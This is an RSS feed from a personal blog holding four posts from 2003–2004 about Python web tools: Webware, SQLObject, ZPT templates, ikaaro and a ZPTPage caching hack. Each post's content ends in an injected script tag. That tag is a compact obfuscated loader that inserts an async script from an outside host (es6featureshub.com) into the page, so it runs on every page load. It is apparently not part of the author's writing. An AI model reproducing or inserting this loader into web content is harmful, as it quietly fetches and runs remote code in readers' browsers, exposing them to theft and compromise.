<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; zpt</title>
	<atom:link href="http://www.larsen-b.com/tags/zpt/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Webware at the Washing Machine Service</title>
		<link>http://www.larsen-b.com/Article/108.html</link>
		<comments>http://www.larsen-b.com/Article/108.html#comments</comments>
		<pubDate>Thu, 08 Apr 2004 21:32:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Webware is one of my favorite webapp. Simply because i understand how it works. There is no magic in.. just a standard Servlet way of think. But on the other side, i really think some part of webware should be &#8230; <a href="http://www.larsen-b.com/Article/108.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Webware is one of my favorite webapp. Simply because i understand how it works. There is no magic in.. just a standard Servlet way of think.</p>
<p>But on the other side, i really think some part of webware should be left out. Look at the standard webware packages:</p>
<ul class="simple">
<li>CGIWrapper</li>
<li>WebKit</li>
<li>WebUtils</li>
<li>MiscUtils</li>
<li>COMKit</li>
<li>MiddleKit</li>
<li>PSP</li>
<li>TaskKit</li>
<li>UserKit</li>
</ul>
<p>Only CGIWrapper / WebKit / WebUtils are used in Webware core. (+ TaskKit) All other stuff are not webware centric, even if they are usually working only by webware developpers:<br />
- COMKit is win32 COM object related (nothing to do w/ webware core)<br />
- MiddleKit is a DB abstraction layer<br />
- PSP is a template language<br />
- UserKit is a user framework ..( someone ever used it ???)</p>
<p>I really think we should provide only a simple package w/ webware core, and find a way to install third parties code as &#8216;Products&#8217;. This is definitly the main feature of Zope.</p>
<p>The recent <a class="reference" href="href=http://sourceforge.net/mailarchive/forum.php?thread_id=4184139&amp;forum_id=3505&gt;">post</a> of Ian on the webware-discuss mailing list show that we shall write webware component like Wiki .. or AuthModule .. and provide them to the community.</p>
<p>I worked on Zope for about 2 years.. and right now when i want to build a simple website for the lab. Webware never come to my mind simply because it enforce me to rewrite the wheel for everything. In common web project we need some core components like auth, or photo gallery .. things that are really simple and provided w/ simple Zope Products. but for webware we only provide some _unusefull_ / _unmaintained_ Kit.</p>
<p>This is not a contestation post! but a open letter to the webware community.</p>
<p>The current webware package try to enforce developper to use some tools (like PSP / MiddleKit) but this is the wrong way. I never used PSP (i hate this syntax).. and MiddleKit has serious competitor, right now. I usually use SQLObject and ZPTPage. But there is no place on the web where a newbie can find that you can write ZPT in webware .. Webware really need a clean way to build Products and a website that present all this stuff to users.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/108.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SQLObject and ZPT</title>
		<link>http://www.larsen-b.com/Article/83.html</link>
		<comments>http://www.larsen-b.com/Article/83.html#comments</comments>
		<pubDate>Tue, 13 Jan 2004 21:09:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cheetah]]></category>
		<category><![CDATA[sqlobject]]></category>
		<category><![CDATA[Webware]]></category>
		<category><![CDATA[Zope]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After looking at several way to build custom webapps in python, i tested several things : Zope alone Zope + CMF Plone Webware + Cheetah or PSP Webware + Modeling + ZPT .. And my conclusions right now is: SQLObject &#8230; <a href="http://www.larsen-b.com/Article/83.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After looking at several way to build custom webapps in python, i tested several things :</p>
<ul class="simple">
<li>Zope alone</li>
<li>Zope + CMF</li>
<li>Plone</li>
<li>Webware + Cheetah or PSP</li>
<li>Webware + Modeling + ZPT ..</li>
</ul>
<p>And my conclusions right now is: SQLObject is really a kool SQL Api since you can use it very easily. For the template i really think that ZPT is the best one. Despite XML parsing is really slow, and ZPT performance isn&#8217;t really good, you can edit the template without too much pain.</p>
<p>Another great thing, is that i can use this tools in Webware (of course) but in a simple python (mod_python for example)  CGI. And SQLObject really feat nicely w/ webware, because it&#8217;s thread safe. (I discover severals troubles in Modeling w/ thread)</p>
<p>The next step is to find a good way to build &#8216;slots&#8217;, to have a cross site layout. ZPTPage doesn&#8217;t support all METAL tags (macros..) so this isn&#8217;t done by default .. and calling a lot of &#8216;structure&#8217; include is a bad way because this will call the &#8216;slot&#8217;  rendering too much times.</p>
<p>The main key is : Keep it simple.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/83.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iKaaro</title>
		<link>http://www.larsen-b.com/Article/45.html</link>
		<comments>http://www.larsen-b.com/Article/45.html#comments</comments>
		<pubDate>Tue, 11 Nov 2003 12:05:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217; just discover ikaaro (http://www.ikaaro.org) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be &#8230; <a href="http://www.larsen-b.com/Article/45.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217; just discover ikaaro (<a class="reference" href="http://www.ikaaro.org">http://www.ikaaro.org</a>) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be really faster than original TAL.</p>
<p>Some bugs still remain, i was unable to do cut/paste and there is a bug in guess_contenttype too, but not really a big deal i think.</p>
<p>After looking this a night, the system is really light ( don&#8217;t use a couple of CMF products or other things like DC workflow), si it have some limitation but it should be enought to do a good bloging system ( i&#8217;m still need to give up about this MT ). but it don&#8217;t use reST and this is a bad news.</p>
<p>Another thing that i found usefull is that it use EPoz for html editing and this is pretty kool .<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/45.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>AutoMatic cache for Modeling FrameWork in WebWare</title>
		<link>http://www.larsen-b.com/Article/10.html</link>
		<comments>http://www.larsen-b.com/Article/10.html#comments</comments>
		<pubDate>Fri, 22 Aug 2003 21:03:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Webware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is my first hack over ZPTPage and Modeling to enable regerating of ZPTPage only when Modeling objects changed .. check out class A: (which is a sample fake Modeling Object) import os,time from ZPTPage import ZPTPage class A: def &#8230; <a href="http://www.larsen-b.com/Article/10.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is my first hack over ZPTPage and Modeling to enable regerating of ZPTPage only when Modeling objects changed .. check out class A: (which is a sample fake Modeling Object)</p>
<pre><strong>import</strong> <span style="color: #2040a0;">os</span>,<span style="color: #2040a0;">time</span>

<strong>from</strong> <span style="color: #2040a0;">ZPTPage</span> <strong>import</strong> <span style="color: #2040a0;">ZPTPage</span>

<strong>class</strong> <span style="color: #2040a0;">A</span><span style="color: #4444ff;">:</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'B'</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">50</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willChange</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getA</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willRead</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>return</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> setA</span><span style="color: #2040a0;">(self,value)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">value</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">willChange</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> willRead</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #444444;">#print "Read %s" % self</span>
        <strong>pass</strong>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> willChange</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">time</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>class</strong> <span style="color: #2040a0;">HereProxy</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dict</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
<strong>    <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self,orig)</span>:
</strong>        <strong>print</strong> <span style="color: #008000;">"New Here"</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">orig</span>

<strong>    <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __getitem__</span><span style="color: #2040a0;">(self,key)</span>:
</strong>         <span style="color: #2040a0;">result</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">getattr</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>,<span style="color: #2040a0;">key</span><span style="color: #4444ff;">)</span>
         <strong>print</strong> <span style="color: #008000;">"*** %-10s : %s "</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span> <span style="color: #2040a0;">key</span>,<span style="color: #2040a0;">result</span><span style="color: #4444ff;">)</span>
         <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">orig</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>

         <strong>if</strong> <span style="color: #2040a0;">result</span> <strong>not</strong> <strong>in</strong> <span style="color: #2040a0;">cache</span><span style="color: #4444ff;">:</span>
             <span style="color: #2040a0;">cache</span>.<span style="color: #2040a0;">update</span><span style="color: #4444ff;">(</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #2040a0;">result</span><span style="color: #4444ff;">:</span><span style="color: #2040a0;">result</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">)</span>
         <strong>return</strong> <span style="color: #2040a0;">result</span>

<strong>class</strong> <span style="color: #2040a0;">Main</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">ZPTPage</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> __init__</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">A</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">ZPTPage</span>.<span style="color: #2040a0;">__init__</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">here</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">HereProxy</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">validCache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">False</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> writeHTML</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>if</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">request</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">hasField</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'A'</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">a</span>.<span style="color: #2040a0;">setA</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">request</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">value</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'A'</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">)</span>

        <span style="color: #2040a0;">cachedFileName</span><span style="color: #4444ff;">=</span><span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">path</span>.<span style="color: #2040a0;">join</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'/tmp/w/'</span>,<span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">+</span><span style="color: #008000;">'.html'</span><span style="color: #4444ff;">)</span>
        <strong>try</strong><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>
        <strong>except</strong> <span style="color: #2040a0;">KeyError</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #4444ff;"><strong>}</strong></span>
            <span style="color: #2040a0;">cache</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">]</span>

        <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span>

        <span style="color: #444444;">#import pdb;pdb.set_trace()</span>
        <strong>for</strong> <span style="color: #2040a0;">obj</span> <strong>in</strong> <span style="color: #2040a0;">cache</span>.<span style="color: #2040a0;">keys</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
            <strong>try</strong><span style="color: #4444ff;">:</span>
                <strong>print</strong> <span style="color: #2040a0;">obj</span>.<span style="color: #2040a0;">lastChange</span>
                <strong>if</strong> <span style="color: #2040a0;">obj</span>.<span style="color: #2040a0;">lastChange</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span>  <span style="color: #2040a0;">cache</span><span style="color: #4444ff;">[</span><span style="color: #2040a0;">obj</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">:</span>
                    <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>
                    <strong>break</strong>
            <strong>except</strong> <span style="color: #2040a0;">AttributeError</span><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>
                <strong>break</strong>

        <strong>if</strong> <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">:</span>
            <strong>print</strong> <span style="color: #008000;">"*** Serving cache %s ***"</span>  <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <strong>try</strong><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">data</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cachedFileName</span>,<span style="color: #008000;">'r'</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <strong>except</strong> <span style="color: #2040a0;">IOError</span><span style="color: #4444ff;">:</span>
                <span style="color: #2040a0;">needUpdate</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span>

        <strong>if</strong> <span style="color: #2040a0;">needUpdate</span><span style="color: #4444ff;">:</span>
            <strong>print</strong> <span style="color: #008000;">"*** Regerating %s ***"</span>  <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">hashCache</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">buildContext</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">data</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">template</span>.<span style="color: #2040a0;">render</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
            <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cachedFileName</span>,<span style="color: #008000;">'w'</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">data</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">response</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">setHeader</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'Content-type'</span>, <span style="color: #008000;">'text/html; charset=UTF-8'</span><span style="color: #4444ff;">)</span>
        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">writeln</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">data</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> buildContext</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">updateContext</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'text'</span>,<span style="color: #008000;">'Toto'</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getTime</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>import</strong> <span style="color: #2040a0;">time</span>
        <strong>return</strong> <span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">time</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> getHere</span><span style="color: #2040a0;">(self)</span>:
</strong>        <span style="color: #444444;">#return {'a':A()}</span>
        <strong>return</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">here</span>

<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> sleep</span><span style="color: #2040a0;">(self,context)</span>:
</strong>        <strong>print</strong> <span style="color: #2040a0;">self</span>.<span style="color: #2040a0;">application</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>.<span style="color: #2040a0;">cache</span>
        <span style="color: #2040a0;">ZPTPage</span>.<span style="color: #2040a0;">sleep</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">self</span>,<span style="color: #2040a0;">context</span><span style="color: #4444ff;">)</span>

    <span style="color: #444444;">### cache ###</span>
<strong>   <span style="color: #ff0000;"> def</span><span style="color: #ff0000;"> hashCache</span><span style="color: #2040a0;">(self)</span>:
</strong>        <strong>return</strong> <span style="color: #008000;">"MainTemplate"</span></pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/10.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
